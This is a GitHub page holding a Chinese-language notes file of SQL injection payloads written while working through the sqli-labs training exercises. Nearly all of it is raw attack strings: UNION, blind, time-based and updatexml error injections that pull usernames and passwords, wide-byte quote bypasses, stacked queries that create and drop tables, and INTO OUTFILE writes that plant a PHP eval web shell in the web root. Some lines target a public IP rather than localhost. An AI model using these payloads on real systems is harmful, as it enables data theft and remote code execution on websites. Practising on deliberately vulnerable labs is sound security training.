forked from crow821/crowsec
-
Notifications
You must be signed in to change notification settings - Fork 0
/
sqli-labs过渡笔记.txt
218 lines (144 loc) · 7.33 KB
/
sqli-labs过渡笔记.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
select schema_name from information_schema.schemata;
select table_name from information_schema.tables where table_schema='security';
select column_name from information_schema.columns where table_name='users';
select username,password from security.users;
less-15
uname=adminadmin&passwd=admiand' or if(length()>1000,1,sleep(5))#&submit=Submit
select table_name from information_schema.tables where table_schema='security'
uname=adminadmin&passwd=admiand' or left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)>'a'#&submit=Submit
uname=adminadmin&passwd=admiand' or left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)>'a'#&submit=Submit
uname=adminadmin&passwd=admiand' or left((select username from security.users limit 0,1),1)>'a'#&submit=Submit
uname=adminadmin&passwd=admiand' or left((select username from security.users limit 0,1),1)= 'a'#&submit=Submit
less-16
uname=adminadmin&passwd=admiand") or if(length()>1000,1,sleep(5))#&submit=Submit
select table_name from information_schema.tables where table_schema='security'
uname=adminadmin&passwd=admiand' or left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)>'a'#&submit=Submit
uname=adminadmin&passwd=admiand' or left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)>'a'#&submit=Submit
uname=adminadmin&passwd=admiand' or left((select username from security.users limit 0,1),1)>'a'#&submit=Submit
uname=adminadmin&passwd=admiand' or left((select username from security.users limit 0,1),1)= 'a'#&submit=Submit
less-23
less-01
SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(schema_name) from information_schema.schemata -- ' LIMIT 0,1
SELECT * FROM users WHERE id='-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) '' LIMIT 0,1
group_concat(schema_name) from information_schema.schemata
group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479
group_concat(column_name) from information_schema.columns where table_name=0x7573657273
group_concat(concat_ws(0x7e,username,password)) from security.users
if(length(database())>1,1,sleep(5)) 判断长度
if(left(database(),1)>'a',1,sleep(5))
if(left((select schema_name from information_schema.schemata limit 0,1),1)>'a',1,sleep(5))
http://127.0.0.1/sqli/Less-26/?id=1' ||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')%26%26(table_name='users'))),0)||'1'='1
http://127.0.0.1/sqli/Less-26/?id=1' || updatexml(0,concat(0x7e,(select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_schema='security')&&(table_name=0x7573657273))),0) || '1'='1
http://127.0.0.1/sqli/Less-26/?id=1' || updatexml(1, concat( 0x7e,( select (group_concat(column_name))from (infoorrmation_schema.columns) where (table_name='security')%26%26(table_name='users')) )),1);%00
group_concat(schema_name) from information_schema.schemata
group_concat(table_name) from information_schema.tables where table_schema = 0x7365637572697479
group_concat(column_name) from information_schema.columns where table_name = 0x7573657273
group_concat(concat_ws(0x7e,username,password)) from security.users
;%00
--+
#
http://127.0.0.1/sqli/Less-23/?id=1' or '1'='1 order by 10'
http://127.0.0.1/sqli/Less-23/?id=1' order by 10 or '1'='1
union select 1,2,3;
union select 1,2,(select * from xxxx)
group_concat()
admin:admin
get id
post
select {x schema_name} from {x information_schema.schemata};
updatexml(1, concat(0x7e, ( database() ) ),1)
if( length(database())>1, 1, sleep(5) )
updatexml(1, concat(0x7e, (select (group_concat(table_name)) from (information_schema.tables) where (table_schema = 0x7365637572697479) ) ),1)
updatexml(1, concat(0x7e, (select (group_concat(column_name)) from information_schema.columns where table_name = 0x7573657273 ) ),1)
updatexml(1, concat(select group_concat(table_name) from information_schema.tables where table_schema=0x4348414c4c454e474553 ) ,1)
updatexml(1, concat(0x7e, ( select (group_concat(concat_ws(0x7e,username,password))) from (security.users) ) ),1)
url = "http://121.199.30.46/Less-26/?id=1'" + code_0x + %26%26 + code_0x "'1'='1"
http://121.199.30.46/Less-26/?id=1' 空格 && 空格 '1'='1
A or B and D
C and D
%aa%5c'
%aa%5c%27
%aa%5c%5c%5c%27
%aa%5c %5c%5c%27
猏 \\ '
a%df'
uname=a % df %5C %27
create table crow like users; --+
drop table crow ; --+
a') ; create table crow like users; #
a') ; drop table crow ; #
a' ; create table crow3 like users; #
a' ; drop table crow3 ; #
1. root 写权限
2. 一句话木马
3. select xxx into outfile xxx
4. 绝对路径
<?php @eval($_POST['crow']);?>
C:\\phpstudy\\PHPTutorial\\WWW
pycharm
select '<?php @eval($_POST[crow]);?>' into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\crow.php'; #
SELECT * FROM users ORDER BY 2
select * from users where id= 'xx' order by xxx;
1. 报错注入
select updatexml( 1, concat(0x7e, (database()) ) ,1)
select updatexml( 1, concat(0x7e, (schema_name from information_schema.schema_name limit 0,1) ) ,1)
2. 时间注入
select if ( (length(database()) >1 ) ,1, sleep(5) )
?id=
?sort=
select * from users where id= xxx
select * from users order by xxx
less46-49 报错注入,时间盲注
''
select *** into outfile ''
http://127.0.0.1/sqli/Less-49//?sort=3' into outfile "C:\\phpstudy\\PHPTutorial\\WWW\\less49.txt " --+
http://127.0.0.1/sqli/Less-49//?sort=3' and select '<?php @eval($_POST['crow']);?>' into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\less49.php' --+
lines terminated by 0xXXX
http://127.0.0.1/sqli/Less-49//?sort=3' into outfile "C:\\phpstudy\\PHPTutorial\\WWW\\less49_02.php " lines terminated by 0x3c3f70687020406576616c28245f504f53545b2763726f77275d293b3f3e --+
CHALLENGES
4348414c4c454e474553
updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=0x4348414c4c454e474553 )),1)
mk25r38vwy
updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='mk25r38vwy' )),1)
id,sessid,secret_OHW4,tryy
updatexml(1,concat(0x7e,(select group_concat(secret_OHW4) from CHALLENGES.mk25r38vwy )),1)
left( (select table_name from information_schema.tables where table_schema='CHALLENGES' limit 0,1) ,1 ) > 'a'
flag
id =
''
""
()
('')
((""))
((''))
不加任何符号
select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES';
lbn4tcev6s
select group_concat(column_name) from information_schema.columns where table_name= 'lbn4tcev6s'
secret_3W4Q
select group_concat(concat_ws(0x7e, secret_3W4Q)) from CHALLENGES.lbn4tcev6s
CHALLENGES
select updatexml(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES') ),1)
iaikcl216o
select updatexml(1,concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name= 'iaikcl216o') ),1)
secret_F5HN
select updatexml(1,concat(0x7e, (select select group_concat(concat_ws(0x7e, secret_F5HN)) from CHALLENGES.iaikcl216o) ),1)
id = 1\'
id
sort
'
"
()
闭合
--+ --空格 #
报错注入
布尔盲注
基于时间的盲注
读文件、写文件
mysql + php
入门
waf
id = 1 '
mysql access mssql
sql 语法
php